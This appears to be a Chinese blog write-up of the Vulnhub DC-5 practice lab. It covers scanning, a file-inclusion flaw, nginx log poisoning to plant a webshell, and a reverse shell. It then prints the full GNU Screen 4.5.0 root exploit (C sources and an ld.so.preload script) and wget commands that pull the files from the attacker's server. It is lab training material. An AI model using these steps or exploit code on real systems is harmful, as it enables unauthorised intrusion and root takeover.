Vulnhub靶机练习DC-5 完整复现

注:最后提权那步失败了,若有大佬看到此文,还望指出问题,不胜感激!

由于本靶机被搁置一段时间,IP地址会有变化

故:192.168.200.11和92.168.200.58 都是靶机IP地址

一、准备工作

kali: ip 192.168.200.14

dc-5 : ip地址未知

二、信息收集

1、扫描i网段的主机存活

经常使用的三种方法

arp-scan -l # 第一种方法
# 轻量级扫描工具

nmap -sP 192.168.200.0/24 -T4 # 第二种方法结合nmap
# ping扫描,Nmap在扫描端口时,默认都会使用ping扫描,只有主机存活,Nmap才会继续扫描。
-T4	针对TCP端口禁止动态扫描延迟超过1MMS

netdiscover -i eth0 -r 192.168.200.0/24 # 第三种方法 -i是指定网卡,-r扫描一个地址段
# Netdiscover 是一个主动/被动的ARP 侦查工具。

1706593337_65b88c3937b85f2dea415.png!small?1706593338059

2.探索此网站开放的端口信息

nmap -sS -A 192.168.200.11 -p 1-65535
#  (sS) 这是一个基本的扫描方式,它被称为半开放扫描,
因为这种技术使得Nmap不需要通过完整的握手就能获得远程主机的信息。
Nmap发送SYN包到远程主机,但是它不会产生任何会话.因此不会**在目标主机上产生任何日志记录
-p     扫描指定端口
-A     启动Os检测,版本检测,脚本扫描和traceroute
nmap -sV -p-  192.168.200.11 
-sV     探测服务/版本信息
-p      扫描指定端口

1706593345_65b88c4135ece358c6438.png!small?1706593345765

1706593351_65b88c4737dd30722e5d6.png!small?1706593352111

开放端口有三个:80(http默认端口)和111端口、43853端口

登录网页,到这个页面发现每次刷新网页,页面下面的时间会随之改变,这可能存在文件包含

1706593358_65b88c4eef26980bf66d5.png!small?1706593360291

1706593364_65b88c54d9eeb452d2db6.png!small?1706593365228

扫描目录,查看以下此页面的网页

3.扫描后台目录

1706593371_65b88c5bbfdb705c40fda.png!small?1706593372248

其他目录在本网页当中都是存在的,当访问这个不存在的网页时出现下面这个场景,那么猜测是有文件包含漏洞的

thankyou.php包含了footer.php

三、漏洞利用

文件包含发现

1706593384_65b88c6882d1b03a8e93f.png!small?1706593385099

利用

?file=/etc/passwd 指令,出现预想中的效果

1706593394_65b88c7215d07142fc96e.png!small?1706593394516

由于当前网站的web服务器使用的是nginx,在网站上的每一步操作都将会被写入日志文件log内,因此我们可以通过log来拿 shell,先看一下能否访问(若不知道log的存放位置,可以百度此版本号的服务器查询即可)

1706593401_65b88c794c9414a599369.png!small?1706593401620

百度结果,那么利用如下路劲将webshell写入进去log

/var/log/nginx/error.log 
/var/log/nginx/access.log 

利用日志写入webshell

1706593410_65b88c82b79a248eb0bea.png!small?1706593411028

利用burp或者直接更改URL都可以

1706593417_65b88c8976b1c0442716d.png!small?1706593417789

访问日志连接,可以看到一句话木马已经被写入到了日志(关杀软)

1706593424_65b88c9001520826c1cfb.png!small?1706593424826

webshell连接成功

1706593430_65b88c9682a1c4b5cea88.png!small?1706593430993

在kali上进行监听

1706593438_65b88c9e63e8c739ff2b3.png!small?1706593438720

在蚁剑终端上反弹shell,建立永久连接

1706593444_65b88ca45443f3a9dde64.png!small?1706593444568

使用python交互界面

python -c 'import pty;pty.spawn("/bin/bash")'

提权

查看有suid的文件夹,寻找能够提权的信息

find / -perm -u=s -type f 2>/dev/null

1706593459_65b88cb3e6a76b3625ed6.png!small?1706593460757

利用screen-4.5.0的版本

GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。

GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能

KALI搜索

searchsploit screen 4.5.0

1706593472_65b88cc09555f19622623.png!small?1706593473070

再不破坏原有文件的前提下,复制源文件

cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh

查看文件

1706593479_65b88cc77373e5d5d0e98.png!small?1706593480326

尝试本地编译其内的两个c语言程序,将该脚本拆分成3部分,具体内容如下

1706593486_65b88cceca68d815a595f.png!small?1706593487589

编译文件

以下按照所给EXP操作

第一部分 -----》libhax.c

#include <stdio.h>
 
#include <sys/types.h>
 
#include <unistd.h>
 
__attribute__ ((__constructor__))
 
void dropshell(void){
 
    chown("/tmp/rootshell", 0, 0);
 
    chmod("/tmp/rootshell", 04755);
 
    unlink("/etc/ld.so.preload");
 
    printf("[+] done!\n");
 
}

用命令编译,生成libhax.so 文件

gcc -fPIC -shared -ldl -o libhax.so libhax.c

1706593500_65b88cdc13103b7246c9f.png!small?1706593500509

第二部分-------rootshell.c

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

编译生成rootshell.c

gcc -o rootshell rootshell.c

1706593511_65b88ce7e081ee844b9c2.png!small?1706593512408

第三部分----》DC-5.sh

#!/bin/bash
# 编译成脚本文件要加头

echo "[+] Now we create our /etc/ld.so.preload file..."

cd /etc

umask 000 # because

screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed

echo "[+] Triggering..."

screen -ls # screen itself is setuid, so...

/tmp/rootshell

1706593520_65b88cf0d06c573943c9f.png!small?1706593521308

然后本地开启一个HTTP服务

python -m http.server 8899

将编译好的三个文件上传至靶机目录

wget http://192.168.200.14:8888/rootshell
wget http://192.168.200.14:8888/libhax.so
wget http://192.168.200.14:8888/DC-5.sh

1706593533_65b88cfd5e413f3166d43.png!small?1706593534570

运行DC-5.sh 文件,进行提权,失败

显示这样的报错问题,提示glibc_2.34不能被找到,这应该是过低还是过高导致的问题呢、

1706593542_65b88d06c280657a4129f.png!small?1706593543210
欢迎关注公众号:黑战士

  • 22
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑战士安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值